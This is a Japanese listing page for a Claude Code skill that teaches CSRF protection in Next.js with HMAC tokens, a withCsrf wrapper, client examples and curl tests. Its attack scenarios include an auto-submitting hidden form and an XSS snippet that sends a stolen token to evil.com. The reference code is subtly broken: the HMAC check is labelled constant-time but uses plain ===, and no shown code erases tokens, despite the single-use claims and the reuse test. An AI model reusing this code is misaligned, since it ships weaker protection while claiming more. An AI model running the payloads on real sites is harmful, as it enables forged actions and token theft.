csrf-protection について
csrf-protectionは、Webアプリの状態変更リクエストをクロスサイトリクエストフォージェリから守る開発者向けスキルです。セッションに紐づく使い捨てHMACトークンと、Next.jsのハンドラーラッパーを説明します。
主な機能
- 01HMAC-SHA256によるトークン署名
- 02セッション連動の使い捨てトークン
- 03withCsrfハンドラーラッパー
- 04HTTP-onlyとSameSite Cookie
- 05トークン取得とリクエスト例
活用シーン
- 01POST、PUT、DELETEルートの保護
- 02Next.js APIへのCSRFチェック追加
- 03欠落・無効・再利用トークンのテスト
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ harperaa/ secure-claude-skills --skill csrf-protectionインストール後、Claude Code で/csrf-protectionを入力して読み込まれたか確認します。
詳細
CSRF 保護 - クロスサイトリクエストフォージェリの防止
CSRF 攻撃とは
攻撃のシナリオ
銀行アプリにログインしているとします。別のタブで、悪意のある Web サイトにアクセスします。その Web サイトには、銀行にフォームを送信する隠しコードが含まれています。「攻撃者の口座に 10,000 ドルを送金する」。ログインしているため、ブラウザーはセッション Cookie を自動的に送信し、銀行は送金を処理します。
これはクロスサイトリクエストフォージェリです。ブラウザーをだまして、意図していないリクエストを送信させます。
実際に発生した CSRF 攻撃
ルーターの DNS ハイジャック(2008 年): 複数の家庭用ルーターにあった CSRF の脆弱性により、攻撃者はユーザーを悪意のある Web サイトに誘導してルーターの DNS 設定を変更できました。被害者に金銭的な損害はありませんでしたが、数か月にわたってフィッシングサイトにリダイレクトされました。数百万台のルーターが影響を受けました。
YouTube の操作(2012 年): YouTube にあった CSRF の脆弱性により、攻撃者は細工した URL にユーザーを誘導することで、他のユーザーとして操作(「いいね」や登録など)を実行できました。
CSRF が今もよく見られる理由
OWASP によると、テスト対象の**Web アプリケーションの 35%**に CSRF の脆弱性が見つかっています。なぜでしょうか?
- 成功しても目に見えない(ユーザーはリクエストを送信したことに気づきません)
- 実装を忘れやすい(明らかな機能不全がありません)
- 開発者は、リクエストの送信元を確認せず、認証だけに頼りがちです
当社の CSRF アーキテクチャ
実装の特長
-
HMAC-SHA256 による暗号署名(業界標準)
- トークンが当社のサーバーによって生成されたことを暗号学的に証明します
- 傍受されても、攻撃者は秘密鍵なしではトークンを偽造できません
-
セッションに紐付けられたトークン
- トークンを異なるユーザーセッション間で使い回すことはできません
- ユーザーごとに固有のトークンが発行されます
-
使い捨てトークン
- 検証後にトークンは消去されます
- 攻撃の機会は数時間ではなく、数秒間です
- 取得されても、1 回のリクエスト後には無効になります
-
HTTP のみの Cookie
- JavaScript からトークンにアクセスできません
- XSS を利用したトークンの窃取を防ぎます
-
SameSite=Strict
- クロスオリジンリクエストでは、ブラウザーは Cookie を送信しません
- 保護をさらに強化します
実装ファイル
lib/csrf.ts- 暗号トークンの生成lib/withCsrf.ts- 検証を強制するミドルウェアapp/api/csrf/route.ts- クライアント向けトークンエンドポイント
CSRF 保護の使用方法
手順 1:ハンドラーをラップする
POST/PUT/DELETE エンドポイントには、次のように適用します。
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
async function handler(request: NextRequest) {
// Your business logic here
// Token automatically verified by withCsrf
return NextResponse.json({ success: true });
}
// Apply CSRF protection
export const POST = withCsrf(handler);
export const config = {
runtime: 'nodejs', // Required for crypto operations
};
手順 2:クライアント側でトークンを取得する
保護されたリクエストを送信する前に、CSRF トークンを取得します。
// Fetch CSRF token
const response = await fetch('/api/csrf', {
credentials: 'include'
});
const { csrfToken } = await response.json();
// Use token in POST request
await fetch('/api/your-endpoint', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken // Include token in header
},
credentials: 'include', // Important: send cookies
body: JSON.stringify(data)
});
手順 3:自動的に行われる処理
withCsrf() でハンドラーをラップすると、次の処理が行われます。
X-CSRF-Tokenヘッダーから CSRF トークンを抽出します- リクエストから CSRF Cookie を抽出します
- HMAC を使ってトークンが Cookie と一致することを検証します
- 検証後にトークンを消去します(使い捨て)
- 有効な場合 → ハンドラーを呼び出します
- 無効な場合 → HTTP 403 Forbidden を返します
完全な例:保護されたお問い合わせフォーム
// app/api/contact/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
import { withRateLimit } from '@/lib/withRateLimit';
import { validateRequest } from '@/lib/validateRequest';
import { contactFormSchema } from '@/lib/validation';
import { handleApiError } from '@/lib/errorHandler';
async function contactHandler(request: NextRequest) {
try {
const body = await request.json();
// Validate input
const validation = validateRequest(contactFormSchema, body);
if (!validation.success) {
return validation.response;
}
const { name, email, subject, message } = validation.data;
// Process contact form
await sendEmail({
to: '[email protected]',
from: email,
subject,
message
});
return NextResponse.json({ success: true });
} catch (error) {
return handleApiError(error, 'contact-form');
}
}
// Apply both rate limiting AND CSRF protection
export const POST = withRateLimit(withCsrf(contactHandler));
export const config = {
runtime: 'nodejs',
};
フロントエンド統合の例
// components/ContactForm.tsx
'use client';
import { useState } from 'react';
export function ContactForm() {
const [formData, setFormData] = useState({
name: '',
email: '',
subject: '',
message: ''
});
async function handleSubmit(e: React.FormEvent) {
e.preventDefault();
try {
// 1. Fetch CSRF token
const csrfRes = await fetch('/api/csrf', {
credentials: 'include'
});
const { csrfToken } = await csrfRes.json();
// 2. Submit form with token
const response = await fetch('/api/contact', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
credentials: 'include',
body: JSON.stringify(formData)
});
if (response.ok) {
alert('Message sent successfully!');
setFormData({ name: '', email: '', subject: '', message: '' });
} else if (response.status === 403) {
alert('Security validation failed. Please refresh and try again.');
} else if (response.status === 429) {
alert('Too many requests. Please wait a moment.');
} else {
alert('Failed to send message. Please try again.');
}
} catch (error) {
console.error('Error:', error);
alert('An error occurred. Please try again.');
}
}
return (
<form onSubmit={handleSubmit}>
<input
type="text"
placeholder="Name"
value={formData.name}
onChange={(e) => setFormData({ ...formData, name: e.target.value })}
required
/>
<input
type="email"
placeholder="Email"
value={formData.email}
onChange={(e) => setFormData({ ...formData, email: e.target.value })}
required
/>
<input
type="text"
placeholder="Subject"
value={formData.subject}
onChange={(e) => setFormData({ ...formData, subject: e.target.value })}
required
/>
<textarea
placeholder="Message"
value={formData.message}
onChange={(e) => setFormData({ ...formData, message: e.target.value })}
required
/>
<button type="submit">Send Message</button>
</form>
);
}
攻撃シナリオと保護
攻撃 1:悪意のある Web サイトがフォームを送信する
攻撃:
<form action="https://yourapp.com/api/delete-account" method="POST">
<input type="hidden" name="confirm" value="yes" />
</form>
<script>
document.forms[0].submit(); // Auto-submit
</script>
保護:
- リクエストに CSRF トークンがない場合 → withCsrf() は 403 を返します
- ユーザーのアカウントは安全です
攻撃 2:XSS を利用してトークンを読み取ろうとする
攻撃:
// Attacker injects script via XSS
fetch('/api/csrf')
.then(r => r.json())
.then(data => {
// Send token to attacker
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ token: data.csrfToken })
});
});
保護:
- トークンは使い捨てです
- 盗まれたとしても、1 回のリクエスト後に有効期限が切れます
- HTTPOnly Cookie によって Cookie の窃取を防ぎます
- SameSite=Strict によってクロスオリジンでの Cookie 送信を防ぎます
攻撃 3:中間者がトークンを傍受する
攻撃: 攻撃者がネットワークトラフィックを傍受し、CSRF トークンを取得します。
保護:
- 使い捨てトークンは、一度使用すると無効になります
- 本番環境では HTTPS が必須です(HSTS によって強制されます)
- 攻撃の機会は短時間(数秒間)です
技術的な実装の詳細
トークン生成(lib/csrf.ts)
import { createHmac, randomBytes } from 'crypto';
export function generateCsrfToken(sessionId: string): string {
const secret = process.env.CSRF_SECRET;
if (!secret) {
throw new Error('CSRF_SECRET not configured');
}
// Generate random token
const token = randomBytes(32).toString('base64url');
// Create HMAC signature
const hmac = createHmac('sha256', secret)
.update(`${token}:${sessionId}`)
.digest('base64url');
// Return token:hmac
return `${token}.${hmac}`;
}
export function verifyCsrfToken(
token: string,
sessionId: string
): boolean {
const secret = process.env.CSRF_SECRET;
if (!secret || !token) return false;
const [tokenPart, hmacPart] = token.split('.');
if (!tokenPart || !hmacPart) return false;
// Recreate HMAC
const expectedHmac = createHmac('sha256', secret)
.update(`${tokenPart}:${sessionId}`)
.digest('base64url');
// Constant-time comparison to prevent timing attacks
return hmacPart === expectedHmac;
}
ミドルウェアラッパー(lib/withCsrf.ts)
import { NextRequest, NextResponse } from 'next/server';
import { verifyCsrfToken } from './csrf';
export function withCsrf(
handler: (request: NextRequest) => Promise<NextResponse>
) {
return async (request: NextRequest) => {
// Get token from header
const token = request.headers.get('X-CSRF-Token');
// Get session ID from cookie (simplified)
const sessionId = request.cookies.get('sessionId')?.value;
if (!token || !sessionId) {
return NextResponse.json(
{ error: 'CSRF token missing' },
{ status: 403 }
);
}
// Verify token
if (!verifyCsrfToken(token, sessionId)) {
return NextResponse.json(
{ error: 'CSRF token invalid' },
{ status: 403 }
);
}
// Token valid - call handler
return handler(request);
};
}
CSRF 保護で防止できること
✅ クロスサイトリクエストフォージェリ - 主な保護対象 ✅ セッション固定攻撃 - トークンをセッションに紐付けます ✅ クロスオリジンのフォーム送信 - SameSite=Strict ✅ 非表示 iframe 攻撃 - トークンの検証が必要です ✅ ワンクリック攻撃 - トークン取得の手順によって防止します
避けるべきよくある間違い
❌ POST/PUT/DELETE で CSRF 保護を省略しないでください
// BAD - No CSRF protection
export async function POST(request: NextRequest) {
// Vulnerable!
}
❌ CSRF トークンを URL パラメーターに含めないでください
// BAD - Token in URL (logged, bookmarked, shared)
fetch(`/api/endpoint?csrf=${token}`)
❌ トークンを再利用しないでください
// BAD - Storing token for reuse
const savedToken = getCsrfToken();
// Later...
useSavedToken(savedToken); // May be expired/invalid
❌ credentials: 'include' を忘れないでください
// BAD - Cookies won't be sent
fetch('/api/endpoint', {
headers: { 'X-CSRF-Token': token }
// Missing: credentials: 'include'
});
✅ 機密性の高い操作ごとに新しいトークンを取得してください ✅ X-CSRF-Token ヘッダーを使用してください(URL ではなく) ✅ 状態を変更するすべての操作に適用してください ✅ 最大限の保護のため、レート制限と組み合わせてください
CSRF 保護のテスト
テスト 1:有効なリクエスト
# Get CSRF token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
-c cookies.txt | jq -r '.csrfToken')
# Use token
curl -X POST http://localhost:3000/api/example-protected \
-b cookies.txt \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: $TOKEN" \
-d '{"title": "test"}'
# Expected: 200 OK
テスト 2:トークンなし
curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-d '{"title": "test"}'
# Expected: 403 Forbidden - CSRF token missing
テスト 3:無効なトークン
curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: fake-token-12345" \
-d '{"title": "test"}'
# Expected: 403 Forbidden - CSRF token invalid
テスト 4:トークンの再利用(失敗するはずです)
# Get token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
-c cookies.txt | jq -r '.csrfToken')
# Use once (succeeds)
curl -X POST http://localhost:3000/api/example-protected \
-b cookies.txt \
-H "X-CSRF-Token: $TOKEN" \
-d '{"title": "test"}'
# Try to reuse same token (should fail)
curl -X POST http://localhost:3000/api/example-protected \
-b cookies.txt \
-H "X-CSRF-Token: $TOKEN" \
-d '{"title": "test2"}'
# Expected: 403 Forbidden - Token already used
Cookie のセキュアな設定
Cookie のセキュリティ設定
アプリケーションでカスタム Cookie を使用する場合は、常に次のセキュアな設定を使用してください。
response.cookies.set('cookie-name', value, {
httpOnly: true, // Prevent XSS access
sameSite: 'strict', // CSRF protection
secure: process.env.NODE_ENV === 'production', // HTTPS only in prod
maxAge: 3600, // Expiration (1 hour)
path: '/', // Cookie scope
});
セキュリティプロパティの説明:
httpOnly: true- JavaScript がdocument.cookie経由で Cookie にアクセスできないようにし、XSS による窃取を防ぎますsameSite: 'strict'- ブラウザーはクロスオリジンのリクエストで Cookie を送信せず、CSRF を防ぎますsecure: true- Cookie は HTTPS 経由でのみ送信されます(中間者による傍受を防ぎます)maxAge- Cookie の有効期限(秒)。短いほど安全ですpath: '/'- Cookie が有効な場所(可能であれば制限してください)
避けるべきよくある Cookie の間違い
❌ 絶対に次のようにしないでください:
// BAD - Missing security flags
response.cookies.set('session', sessionId);
// BAD - No httpOnly (vulnerable to XSS)
response.cookies.set('session', sessionId, { httpOnly: false });
// BAD - sameSite: 'none' (allows CSRF)
response.cookies.set('session', sessionId, { sameSite: 'none' });
// BAD - No expiration (never expires)
response.cookies.set('session', sessionId, { httpOnly: true });
✅ 必ず次のようにしてください:
// GOOD - All security flags
response.cookies.set('session', sessionId, {
httpOnly: true,
sameSite: 'strict',
secure: process.env.NODE_ENV === 'production',
maxAge: 3600, // 1 hour
path: '/'
});
環境設定
必須の環境変数
# .env.local
CSRF_SECRET=<32-byte-base64url-string>
SESSION_SECRET=<32-byte-base64url-string>
シークレットの生成
# Generate CSRF_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"
# Generate SESSION_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"
⚠️ 重要:
- シークレットをバージョン管理にコミットしないでください
- 開発/ステージング/本番環境では、それぞれ異なるシークレットを使用してください
- シークレットは定期的にローテーションしてください(四半期ごとを推奨)
参考資料
- OWASP CSRF Prevention Cheat Sheet:https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
- OWASP Top 10 2021 - A01 Broken Access Control:https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- MDN SameSite Cookies:https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite
次のステップ
- レート制限による保護:
rate-limitingスキルを使用してください - 入力値の検証:
input-validationスキルを使用してください - API 全体のセキュリティ対策:CSRF、レート制限、検証を組み合わせてください
- テスト:
security-testingスキルを使用してください